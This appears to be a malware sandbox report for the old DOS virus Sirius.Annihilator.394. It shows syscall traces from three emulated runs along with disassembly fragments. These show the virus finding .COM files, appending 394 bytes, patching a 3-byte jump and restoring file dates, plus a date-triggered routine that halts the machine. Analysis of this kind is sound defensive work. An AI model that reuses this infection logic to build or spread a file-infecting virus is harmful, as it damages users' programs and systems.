Sample viewer

vx.netlux.org/Virus.DOS.Sirius.Annihilator.394

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:12:11.79424996Z 26 PC: 15182 | Set disk transfer address
2018-12-17T23:12:11.797189057Z 78 PC: 15196 | Find first file
2018-12-17T23:12:11.804372966Z 61 PC: 151a3 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:12:11.811854274Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.813797699Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.816428817Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.81913158Z 61 PC: 151a3 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:12:11.826371444Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.829272299Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.831781707Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.835028142Z 61 PC: 151a3 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:12:11.843054576Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.845017407Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.847370122Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.854179937Z 61 PC: 151a3 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:12:11.862038305Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.8635456Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.866234877Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.869079055Z 61 PC: 151a3 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:12:11.876159459Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.878160091Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.880171554Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.883102856Z 61 PC: 151a3 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:12:11.890871986Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.892955654Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.895398258Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.898666052Z 61 PC: 151a3 | Open file (Filename = 'PAH.COM')
2018-12-17T23:12:11.906336607Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.908287285Z 62 PC: 151ca | Close file
2018-12-17T23:12:11.910578023Z 79 PC: 15196 | Find next file
2018-12-17T23:12:11.914103803Z 61 PC: 151a3 | Open file (Filename = 'TEST.COM')
2018-12-17T23:12:11.920996224Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.9223873Z 87 PC: 151ba | Get or set file date and time
2018-12-17T23:12:11.924364808Z 44 PC: 151da | Get time 0x151da: or dx, dx
0x151dc: je 0x151d6
0x151de: mov word ptr [bp + 0x28c], dx
0x151e2: mov ax, 0x4200
0x151e5: call 0x1526f
0x151e8: mov ah, 0x3f
0x151ea: lea dx, word ptr [bp + 0x22e]
0x151ee: mov cx, 3
0x151f1: int 0x21
0x151f3: cmp byte ptr [bp + 0x22e], 0x4d
0x151f8: je 0x151c6
0x151fa: cmp byte ptr [bp + 0x22e], 0x5a
0x151ff: je 0x151c6
0x15201: mov ax, 0x4202
0x15204: call 0x1526f
0x15207: sub ax, 3
0x1520a: mov word ptr cs:[bp + 0x22c], ax
0x1520f: lea si, word ptr [bp + 0x105]
0x15213: mov di, 0xfb90
0x15216: mov cx, 0x18a
2018-12-17T23:12:11.927291542Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.928634988Z 63 PC: 151f3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:12:11.932001199Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.933510387Z 64 PC: 1522c | Write file or device (Write 394 bytes on handle 5)
2018-12-17T23:12:11.947866052Z 66 PC: 15275 | Move file pointer
2018-12-17T23:12:11.950511407Z 64 PC: 1523d | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:12:11.953533069Z 87 PC: 15244 | Get or set file date and time
2018-12-17T23:12:11.955336611Z 62 PC: 15248 | Close file
2018-12-17T23:12:11.966953055Z 42 PC: 1524c | Get date 0x1524c: cmp dh, dl
0x1524e: jne 0x15263
0x15250: mov ah, 0x2c
0x15252: int 0x21
0x15254: and dh, 7
0x15257: jne 0x15263
0x15259: mov ah, 9
0x1525b: lea dx, word ptr [bp + 0x237]
0x1525f: int 0x21
0x15261: cli
0x15262: hlt
0x15263: mov ah, 0x1a
0x15265: mov dx, 0x80
0x15268: int 0x21
0x1526a: mov ax, 0x100
0x1526d: push ax
0x1526e: ret
0x1526f: xor cx, cx
0x15271: xor dx, dx
0x15273: int 0x21
2018-12-17T23:12:11.969499714Z 26 PC: 1526a | Set disk transfer address
2018-12-17T23:12:11.972966062Z 9 PC: 12a5d | Display string (String= '')
2018-12-17T23:12:11.983528846Z 9 PC: 12a64 | Display string (Could not find end pointer)
2018-12-17T23:12:11.994984838Z 76 PC: 12a7a | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":17438,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:55:48.719792039Z 26 PC: 15182 | Set disk transfer address
2018-12-25T12:55:48.721208569Z 78 PC: 15196 | Find first file
2018-12-25T12:55:48.725672653Z 61 PC: 151a3 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:55:48.729954186Z 66 PC: 15275 | Move file pointer
2018-12-25T12:55:48.731265247Z 62 PC: 151ca | Close file
2018-12-25T12:55:48.732393296Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.733933279Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.741207931Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.742117787Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.743422872Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.745420873Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.752587635Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.753610896Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.758426666Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.760767526Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.772099521Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.773846356Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.775451915Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.777839987Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.784552918Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.786313134Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.788442397Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.792039412Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.798477795Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.799740434Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.807168027Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.809580745Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.81580951Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.817605666Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.819184113Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.821453947Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.829452257Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.83053278Z 87 PC: 151ba | Get or set file date and time
2018-12-25T12:55:48.831518299Z 44 PC: 151da | Get time 0x151da: or dx, dx
0x151dc: je 0x151d6
0x151de: mov word ptr [bp + 0x28c], dx
0x151e2: mov ax, 0x4200
0x151e5: call 0x1526f
0x151e8: mov ah, 0x3f
0x151ea: lea dx, word ptr [bp + 0x22e]
0x151ee: mov cx, 3
0x151f1: int 0x21
0x151f3: cmp byte ptr [bp + 0x22e], 0x4d
0x151f8: je 0x151c6
0x151fa: cmp byte ptr [bp + 0x22e], 0x5a
0x151ff: je 0x151c6
0x15201: mov ax, 0x4202
0x15204: call 0x1526f
0x15207: sub ax, 3
0x1520a: mov word ptr cs:[bp + 0x22c], ax
0x1520f: lea si, word ptr [bp + 0x105]
0x15213: mov di, 0xfb90
0x15216: mov cx, 0x18a
2018-12-25T12:55:48.833511074Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.834904566Z 63 PC: 151f3 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:55:48.841104569Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.843041229Z 64 PC: 1522c | Write file or device (Write 394 bytes on handle 5)
2018-12-25T12:55:48.858586547Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.859790937Z 64 PC: 1523d | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:55:48.862981933Z 87 PC: 15244 | Get or set file date and time
2018-12-25T12:55:48.864364563Z 62 PC: 15248 | Close file
2018-12-25T12:55:48.871892943Z 42 PC: 1524c | Get date 0x1524c: cmp dh, dl
0x1524e: jne 0x15263
0x15250: mov ah, 0x2c
0x15252: int 0x21
0x15254: and dh, 7
0x15257: jne 0x15263
0x15259: mov ah, 9
0x1525b: lea dx, word ptr [bp + 0x237]
0x1525f: int 0x21
0x15261: cli
0x15262: hlt
0x15263: mov ah, 0x1a
0x15265: mov dx, 0x80
0x15268: int 0x21
0x1526a: mov ax, 0x100
0x1526d: push ax
0x1526e: ret
0x1526f: xor cx, cx
0x15271: xor dx, dx
0x15273: int 0x21
2018-12-25T12:55:48.874422996Z 44 PC: 15254 | Get time 0x15254: and dh, 7
0x15257: jne 0x15263
0x15259: mov ah, 9
0x1525b: lea dx, word ptr [bp + 0x237]
0x1525f: int 0x21
0x15261: cli
0x15262: hlt
0x15263: mov ah, 0x1a
0x15265: mov dx, 0x80
0x15268: int 0x21
0x1526a: mov ax, 0x100
0x1526d: push ax
0x1526e: ret
0x1526f: xor cx, cx
0x15271: xor dx, dx
0x15273: int 0x21
0x15275: ret
0x15276: jmp 0x17b10
0x15279: jmp 0x17989
0x1527c: sub ch, byte ptr [0x6f63]
2018-12-25T12:55:48.876916547Z 26 PC: 1526a | Set disk transfer address
2018-12-25T12:55:48.879775323Z 9 PC: 12a5d | Display string (String= '')
2018-12-25T12:55:48.882098089Z 9 PC: 12a64 | Display string (Could not find end pointer)
2018-12-25T12:55:48.892314527Z 76 PC: 12a7a | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":17438,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:55:48.764998354Z 26 PC: 15182 | Set disk transfer address
2018-12-25T12:55:48.766154883Z 78 PC: 15196 | Find first file
2018-12-25T12:55:48.771933809Z 61 PC: 151a3 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:55:48.77841657Z 66 PC: 15275 | Move file pointer
2018-12-25T12:55:48.780209278Z 62 PC: 151ca | Close file
2018-12-25T12:55:48.781398015Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.783022024Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.790632096Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.791659983Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.792795898Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.798040755Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.804934608Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.805848501Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.812018153Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.815366391Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.821635563Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.82337657Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.824999887Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.827312685Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.83404914Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.835326411Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.836901243Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.839559423Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.845743718Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.846961109Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.848886125Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.851124723Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.857994924Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.868354209Z 62 PC: 151ca | Close file (See above)
2018-12-25T12:55:48.869932048Z 79 PC: 15196 | Find next file (See above)
2018-12-25T12:55:48.872222421Z 61 PC: 151a3 | Open file (See above)
2018-12-25T12:55:48.884640861Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.88584238Z 87 PC: 151ba | Get or set file date and time
2018-12-25T12:55:48.887032072Z 44 PC: 151da | Get time 0x151da: or dx, dx
0x151dc: je 0x151d6
0x151de: mov word ptr [bp + 0x28c], dx
0x151e2: mov ax, 0x4200
0x151e5: call 0x1526f
0x151e8: mov ah, 0x3f
0x151ea: lea dx, word ptr [bp + 0x22e]
0x151ee: mov cx, 3
0x151f1: int 0x21
0x151f3: cmp byte ptr [bp + 0x22e], 0x4d
0x151f8: je 0x151c6
0x151fa: cmp byte ptr [bp + 0x22e], 0x5a
0x151ff: je 0x151c6
0x15201: mov ax, 0x4202
0x15204: call 0x1526f
0x15207: sub ax, 3
0x1520a: mov word ptr cs:[bp + 0x22c], ax
0x1520f: lea si, word ptr [bp + 0x105]
0x15213: mov di, 0xfb90
0x15216: mov cx, 0x18a
2018-12-25T12:55:48.889475807Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.890669664Z 63 PC: 151f3 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:55:48.897341033Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.898575727Z 64 PC: 1522c | Write file or device (Write 394 bytes on handle 5)
2018-12-25T12:55:48.910708092Z 66 PC: 15275 | Move file pointer (See above)
2018-12-25T12:55:48.91165186Z 64 PC: 1523d | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:55:48.913762237Z 87 PC: 15244 | Get or set file date and time
2018-12-25T12:55:48.91503187Z 62 PC: 15248 | Close file
2018-12-25T12:55:48.922505137Z 42 PC: 1524c | Get date 0x1524c: cmp dh, dl
0x1524e: jne 0x15263
0x15250: mov ah, 0x2c
0x15252: int 0x21
0x15254: and dh, 7
0x15257: jne 0x15263
0x15259: mov ah, 9
0x1525b: lea dx, word ptr [bp + 0x237]
0x1525f: int 0x21
0x15261: cli
0x15262: hlt
0x15263: mov ah, 0x1a
0x15265: mov dx, 0x80
0x15268: int 0x21
0x1526a: mov ax, 0x100
0x1526d: push ax
0x1526e: ret
0x1526f: xor cx, cx
0x15271: xor dx, dx
0x15273: int 0x21
2018-12-25T12:55:48.924870846Z 26 PC: 1526a | Set disk transfer address
2018-12-25T12:55:48.927330779Z 9 PC: 12a5d | Display string (String= '')
2018-12-25T12:55:48.929428422Z 9 PC: 12a64 | Display string (Could not find end pointer)
2018-12-25T12:55:48.941116471Z 76 PC: 12a7a | Terminate with return code (Return code = '0')